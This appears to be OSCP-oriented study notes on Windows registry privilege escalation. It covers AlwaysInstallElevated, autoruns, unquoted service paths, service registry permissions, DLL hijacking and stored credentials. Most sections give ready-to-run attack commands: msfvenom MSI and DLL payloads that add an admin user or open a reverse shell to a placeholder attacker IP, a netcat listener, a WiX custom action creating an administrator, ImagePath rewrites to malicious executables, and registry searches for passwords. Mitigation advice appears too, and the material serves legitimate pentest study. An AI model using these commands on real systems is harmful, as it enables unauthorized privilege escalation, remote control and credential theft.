Registry Exploits

The Windows Registry is a hierarchical database that stores configuration settings and options for the operating system. Misconfigurations in the registry can lead to privilege escalation opportunities.

Registry Basics

# Main registry hives
HKEY_CURRENT_USER (HKCU) - Contains user-specific configuration
HKEY_LOCAL_MACHINE (HKLM) - Contains system-wide settings
HKEY_CLASSES_ROOT (HKCR) - File associations and COM objects
HKEY_USERS (HKU) - All user profiles on the system
HKEY_CURRENT_CONFIG (HKCC) - Hardware profile information

AlwaysInstallElevated Privilege Escalation

AlwaysInstallElevated is a policy setting that allows non-administrative users to run Microsoft Windows Installer packages with elevated (SYSTEM) privileges. When both required registry keys are enabled (set to 1), any user can install a specially crafted MSI package that will execute code with SYSTEM privileges.

Required Registry Keys

For this exploitation to work, both of the following registry values must be set to 1:

  1. Machine-wide setting (requires administrative access to view):

    HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  2. User-specific setting:

    HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

Note: If either of these registry keys is missing or disabled (set to 0), the exploit will not work.

Checking for Vulnerability

# Check the machine-wide setting
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Check the user-specific setting
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both queries return a value of 0x1, the system is vulnerable.

PowerShell Alternative

# Check both registry keys
$HKLM = Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
$HKCU = Get-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue

if ($HKLM.AlwaysInstallElevated -eq 1 -and $HKCU.AlwaysInstallElevated -eq 1) {
    Write-Host "System is vulnerable to AlwaysInstallElevated privilege escalation!"
}

Exploitation Steps

  1. Create a malicious MSI package on your attack machine:

    # Create a payload that adds a new admin user
    msfvenom -p windows/adduser USER=hacker PASS=Password123! -f msi-nouac -o malicious.msi
    
    # Create a reverse shell payload
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f msi-nouac -o reverse_shell.msi
  2. Transfer the MSI package to the target machine (using wget, certutil, etc.)

  3. Set up a listener (if using reverse shell):

    nc -lvnp 4444
  4. Install the malicious MSI package with elevated privileges:

    # Method 1: Using msiexec
    msiexec /quiet /qn /i C:\path\to\malicious.msi
    
    # Method 2: Using PowerShell
    Start-Process msiexec.exe -ArgumentList '/quiet /qn /i C:\path\to\malicious.msi' -Wait

Alternative Methods

Using MSI with Custom Actions

For more complex payloads, you can create a custom MSI package using tools like WiX Toolset:

<!-- example.wxs -->
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
  <Product Id="*" Name="Example" Language="1033" Version="1.0.0.0" Manufacturer="Example" UpgradeCode="YOUR-GUID">
    <Package InstallerVersion="200" Compressed="yes" />
    <Media Id="1" Cabinet="example.cab" EmbedCab="yes" />
    <Directory Id="TARGETDIR" Name="SourceDir">
      <Component Id="ExampleComponent" Guid="YOUR-GUID">
        <File Id="ExampleFile" Source="example.txt" KeyPath="yes" />
        <CreateFolder />
      </Component>
    </Directory>
    <Feature Id="ExampleFeature" Level="1">
      <ComponentRef Id="ExampleComponent" />
    </Feature>
    <CustomAction Id="ExampleCA" Execute="immediate" Return="check" Impersonate="no" 
                 Directory="TARGETDIR" ExeCommand="cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add" />
    <InstallExecuteSequence>
      <Custom Action="ExampleCA" After="InstallInitialize" />
    </InstallExecuteSequence>
  </Product>
</Wix>

Using PowerShell Empire

PowerShell Empire includes a module for creating malicious MSI packages:

usemodule privesc/bypassuac_fodhelper
set Listener <listener_name>
execute

Automated Enumeration Tools

Several tools can automatically check for this vulnerability:

  • PowerUp.ps1: Invoke-AllChecks will identify if AlwaysInstallElevated is enabled

  • WinPEAS: Checks for AlwaysInstallElevated registry keys

  • Metasploit: exploit/windows/local/always_install_elevated

Mitigation

To prevent this vulnerability:

  1. Disable the AlwaysInstallElevated policy by setting both registry keys to 0 or removing them:

    reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f
    reg delete HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f
  2. Use Group Policy to ensure these settings remain disabled:

    • Computer Configuration > Administrative Templates > Windows Components > Windows Installer > "Always install with elevated privileges" to "Disabled"

    • User Configuration > Administrative Templates > Windows Components > Windows Installer > "Always install with elevated privileges" to "Disabled"

AutoRun Programs

Windows can be configured to automatically run programs when a user logs in. If these registry keys point to executables we can modify, we can escalate privileges.

Detection

# Check for autorun programs
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Exploitation

  1. Identify a writable autorun program

  2. Replace it with a malicious executable or modify it to execute your payload

  3. Wait for a privileged user to log in (or restart if it's a system autorun)

# Check permissions on an autorun executable
icacls "C:\Path\To\AutoRun.exe"

# Replace with malicious executable
copy C:\Path\To\malicious.exe "C:\Path\To\AutoRun.exe" /Y

Stored Credentials in Registry

The registry may contain credentials or encoded passwords that can be extracted.

Detection

# Search for passwords in the registry
reg query HKLM /f "password" /t REG_SZ /s
reg query HKCU /f "password" /t REG_SZ /s

# Check for stored RDP credentials
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

# Check for PuTTY session information
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

# Check for auto-login credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultPassword

Service Registry Permissions

If a user has permission to modify service registry entries, they can point the service to a malicious executable.

Detection

# PowerShell script to check service registry permissions
$services = Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services
foreach($service in $services) {
    $path = $service.Name.Replace("HKEY_LOCAL_MACHINE","HKLM:")
    $acl = Get-Acl $path
    foreach($entry in $acl.Access) {
        if($entry.RegistryRights.ToString() -match "FullControl|WriteKey|SetValue|CreateSubKey" -and $entry.IdentityReference -notmatch "NT AUTHORITY\\SYSTEM|BUILTIN\\Administrators") {
            Write-Host "Vulnerable service found: $path"
            Write-Host "Identity: $($entry.IdentityReference)"
            Write-Host "Permissions: $($entry.RegistryRights)"
        }
    }
}

Exploitation

  1. Identify a service with vulnerable registry permissions

  2. Modify the ImagePath value to point to your malicious executable

  3. Restart the service

# Check the current ImagePath
reg query HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath

# Modify the ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath /t REG_EXPAND_SZ /d "C:\path\to\malicious.exe" /f

# Restart the service (if you have permissions)
sc stop VulnService
sc start VulnService

Unquoted Service Paths

If a service path contains spaces and is not enclosed in quotes, Windows will try to execute each valid path with spaces.

Detection

# Find services with unquoted paths and spaces
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# PowerShell alternative
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -notmatch "`"" -and $_.PathName -match " "} | Select-Object Name, PathName, StartMode

Exploitation

  1. Identify a service with an unquoted path containing spaces

  2. Check write permissions in the directories along the path

  3. Create a malicious executable in one of the writable directories, following the space pattern

# Example: Service path is "C:\Program Files\Vulnerable Service\service.exe"
# Windows will try:
# 1. C:\Program.exe
# 2. C:\Program Files\Vulnerable.exe
# 3. C:\Program Files\Vulnerable Service\service.exe

# Check permissions on the directories
icacls "C:\Program Files"
icacls "C:\Program Files\Vulnerable Service"

# If you have write permissions to any of these locations, place a malicious executable there
copy malicious.exe "C:\Program Files\Vulnerable.exe"

# Restart the service
sc stop "Vulnerable Service"
sc start "Vulnerable Service"

Registry Hijacking for DLL Search Order

Applications often look for DLLs in specific locations, which can be controlled through registry entries.

Detection

Look for registry keys that specify DLL search paths:

# Search for DLL-related registry keys
reg query HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
reg query "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs

Exploitation

If you can write to a folder specified in a DLL search path:

# Create a malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f dll -o malicious.dll

# Copy to the directory in the search path
copy malicious.dll C:\Path\Specified\In\Registry\missing-dll.dll

# Wait for the application to load the DLL

WOW64 Registry Redirection

On 64-bit systems, the registry redirects 32-bit application requests. This can be abused in some scenarios.

# 32-bit applications accessing HKLM\Software will be redirected to:
reg query HKLM\SOFTWARE\WOW6432Node

# Check if there are differences in permissions between the two:
reg query HKLM\SOFTWARE\SomeApplication /s
reg query HKLM\SOFTWARE\WOW6432Node\SomeApplication /s

Protecting Against Registry-Based Attacks

  1. Limit registry write permissions for standard users

  2. Use properly quoted service paths

  3. Disable AlwaysInstallElevated policy

  4. Audit registry changes for sensitive keys

  5. Use secure boot and execute prevention mechanisms

  6. Avoid storing credentials in the registry

  7. Implement proper service account isolation

Additional Windows Registry Privilege Escalation Vectors

Autoruns

Programs that automatically start when a user logs in can be vulnerable if they point to locations writable by the current user or if they don't exist (allowing you to create them).

Checking for Vulnerable Autoruns

# Check Run keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Check startup folders
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

Exploitation

If you find a vulnerable autorun entry pointing to a writable location:

  1. Replace the executable with a malicious one

  2. Wait for an administrator to log in or restart the system

Services Registry Permissions

Services store their configuration in the registry under:

HKLM\SYSTEM\CurrentControlSet\Services\<service_name>

If you have write access to these registry keys, you can modify service configurations:

# Check if you can write to a service registry key
accesschk.exe -kvw HKLM\SYSTEM\CurrentControlSet\Services\<service_name>

# Modify service configuration via registry
reg add HKLM\SYSTEM\CurrentControlSet\Services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d "C:\path\to\malicious.exe" /f

Stored Credentials

The registry may contain stored credentials that can be used for privilege escalation:

# Search for stored passwords in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

OSCP Exam Notes

For the OSCP exam, focus on:

  1. Always check for AlwaysInstallElevated - it's a quick win if enabled

  2. Autorun entries are another common vector

  3. Remember that registry-based privilege escalation often requires a system reboot or user login, so plan accordingly

  4. Create your MSI payloads before the exam and have them ready to transfer

Remember that registry exploits may sometimes require a system reboot to take effect, so consider the timing of your exploitation attempts during the exam.

Last updated